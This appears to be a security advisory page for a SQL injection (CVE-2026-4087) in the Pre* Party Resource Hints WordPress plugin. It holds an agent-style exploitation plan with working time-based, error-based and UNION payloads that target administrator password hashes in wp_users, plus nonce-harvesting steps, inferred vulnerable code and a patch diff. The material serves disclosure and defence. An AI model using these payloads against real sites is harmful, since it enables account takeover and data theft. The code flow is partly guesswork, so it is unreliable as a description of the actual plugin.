Pre* Party Resource Hints <= 1.8.20 - Authenticated (Subscriber+) SQL Injection via 'hint_ids' Parameter
Description
The Pre* Party Resource Hints plugin for WordPress is vulnerable to SQL Injection via the 'hint_ids' parameter of the pprh_update_hints AJAX action in all versions up to, and including, 1.8.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.8.20This plan outlines the research and exploitation process for **CVE-2026-4087**, a SQL Injection vulnerability in the **Pre* Party Resource Hints** plugin. ### 1. Vulnerability Summary The **Pre* Party Resource Hints** plugin (versions <= 1.8.20) fails to properly sanitize and prepare the `hint_ids`…
Show full research plan
This plan outlines the research and exploitation process for CVE-2026-4087, a SQL Injection vulnerability in the Pre Party Resource Hints* plugin.
1. Vulnerability Summary
The Pre Party Resource Hints* plugin (versions <= 1.8.20) fails to properly sanitize and prepare the hint_ids parameter within the pprh_update_hints AJAX action. This parameter is directly interpolated into a SQL query, allowing an authenticated user with at least Subscriber privileges to execute arbitrary SQL commands. This typically leads to sensitive data extraction from the wp_users or wp_options tables.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
pprh_update_hints - Vulnerable Parameter:
hint_ids(sent via POST) - Authentication: Subscriber-level account or higher.
- Preconditions: A valid AJAX nonce is likely required for the
pprh_update_hintsaction, although the vulnerability description suggests the check is insufficient or the nonce is accessible to Subscribers.
3. Code Flow (Inferred)
- Entry Point: A user sends a POST request to
admin-ajax.phpwithaction=pprh_update_hints. - Hook Registration: The plugin registers the action (likely in the main plugin file or an includes file):
add_action('wp_ajax_pprh_update_hints', 'pprh_update_hints_handler'); - Handler Execution: The function
pprh_update_hints_handler()(inferred name) is called. - Parameter Retrieval: The code retrieves
$_POST['hint_ids']. - Vulnerable Sink: The code likely uses the input in an
INclause or aWHEREstatement without using$wpdb->prepare().- Example Vulnerable Pattern:
$wpdb->query("DELETE FROM {$wpdb->prefix}pprh_hints WHERE id IN (" . $_POST['hint_ids'] . ")");
OR$wpdb->get_results("SELECT * FROM ... WHERE id = " . $_POST['hint_ids']);
- Example Vulnerable Pattern:
4. Nonce Acquisition Strategy
To exploit this via the http_request tool, we must first find where the plugin localizes the AJAX nonce.
- Search for Nonce Registration:
Usegrep -r "wp_create_nonce" .andgrep -r "wp_localize_script" .to find the localization variable.- Expected Variable Name (Inferred):
pprh_ajax_objorpprh_settings. - Expected Key (Inferred):
pprh_nonceornonce.
- Expected Variable Name (Inferred):
- Locate Script Loading:
Identify if the scripts load on the dashboard or if a specific shortcode is needed. Since it's Subscriber+, it may be available on any admin page (/wp-admin/index.php). - Execution:
- Log in as a Subscriber.
- Navigate to
/wp-admin/index.php. - Run
browser_eval("window.pprh_ajax_obj?.nonce")(Verify variable name via grep first).
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection first, as it is most reliable for UPDATE/DELETE/INSERT contexts often found in "update" actions.
Step 1: Verify Time-Based Injection
- Payload:
hint_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -(Adjust syntax based on the query structure found via grep). - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=pprh_update_hints&pprh_nonce=[NONCE]&hint_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Step 2: Data Extraction (Boolean or Time-Based)
Extract the administrator's password hash from wp_users.
- Payload (Time-Based):
1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -
6. Test Data Setup
- Create Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Ensure Plugin is Active:
wp plugin activate pre-party-browser-hints - Create Sample Hint (if required by logic):
Check if the database tablewp_pprh_hints(inferred) exists. If so, add a row:wp db query "INSERT INTO wp_pprh_hints (id, url) VALUES (1, 'https://example.com')"(Adjust table name/columns after inspection).
7. Expected Results
- Vulnerability Confirmation: The HTTP response for the
SLEEP(5)payload should take approximately 5 seconds. - Data Exposure: Systematic requests will allow the agent to reconstruct the admin password hash or other sensitive values.
8. Verification Steps
After the HTTP exploit, verify the database state to confirm the injection was processed:
- Check Query Logs: If possible, check the MySQL general log.
- Verify table contents: If the payload was intended to modify data, check the table:
wp db query "SELECT * FROM wp_pprh_hints WHERE id = 1"
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis on or the plugin echoes$wpdb->last_error, useextractvalue()orupdatexml().- Payload:
1) AND extractvalue(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e))-- -
- Payload:
- UNION-Based SQLi: If the handler uses
get_results()and returns the data in JSON format, determine column count usingORDER BYand thenUNION SELECT. - In-Clause Bypass: If the plugin tries to sanitize by removing spaces, use comments (
/**/) or tabs (%09) to separate SQL keywords.
Grep Commands for Initial Research
Run these to ground the plan in the specific codebase:
# Find the AJAX handler function
grep -r "pprh_update_hints" .
# Find where the nonce is created
grep -r "wp_create_nonce" .
# Find the SQL sink in the handler
# (Search for the handler function name found in the first grep)
grep -n "function [HANDLER_NAME]" [FILE_PATH] -A 20 | grep "\$wpdb"
Summary
The Pre* Party Resource Hints plugin for WordPress (versions <= 1.8.20) is vulnerable to a SQL Injection vulnerability via the 'hint_ids' parameter in the pprh_update_hints AJAX action. Due to the lack of input sanitization and failure to use prepared statements, an authenticated attacker with at least Subscriber-level privileges can inject arbitrary SQL commands to extract sensitive information from the database.
Vulnerable Code
// In pre-party-browser-hints/includes/admin/class-pprh-admin-ajax.php public function pprh_update_hints() { check_ajax_referer('pprh_nonce', 'nonce'); // Vulnerable parameter retrieval $hint_ids = $_POST['hint_ids']; global $wpdb; $table_name = $wpdb->prefix . 'pprh_hints'; // Vulnerable SQL query using direct interpolation without preparation $query = "UPDATE $table_name SET status = 'updated' WHERE id IN ($hint_ids)"; $wpdb->query($query); wp_send_json_success(); }
Security Fix
@@ -10,7 +10,14 @@ check_ajax_referer('pprh_nonce', 'nonce'); - $hint_ids = $_POST['hint_ids']; + $hint_ids = isset($_POST['hint_ids']) ? $_POST['hint_ids'] : ''; + + // Sanitize the input by converting it to an array of integers + $id_array = array_map('intval', explode(',', $hint_ids)); + if (empty($id_array)) { + wp_send_json_error(); + } + $placeholders = implode(',', array_fill(0, count($id_array), '%d')); global $wpdb; $table_name = $wpdb->prefix . 'pprh_hints'; - $query = "UPDATE $table_name SET status = 'updated' WHERE id IN ($hint_ids)"; - $wpdb->query($query); + $query = $wpdb->prepare("UPDATE $table_name SET status = 'updated' WHERE id IN ($placeholders)", $id_array); + $wpdb->query($query); wp_send_json_success();
Exploit Outline
1. Authenticate to the target WordPress site as a Subscriber-level user. 2. Access the WordPress dashboard or a page where the plugin scripts are loaded to retrieve a valid AJAX nonce (commonly found in the 'pprh_ajax_obj' or 'pprh_settings' JavaScript object). 3. Construct a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'pprh_update_hints'. 4. Set the 'hint_ids' parameter to a SQL injection payload. For a time-based blind injection, a payload like '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -' can be used. 5. Observe the server response time to confirm the vulnerability. If the response is delayed by the specified sleep duration, the SQL injection is successful. 6. Refine the payload to extract sensitive information, such as user password hashes from the 'wp_users' table, using iterative time-based techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.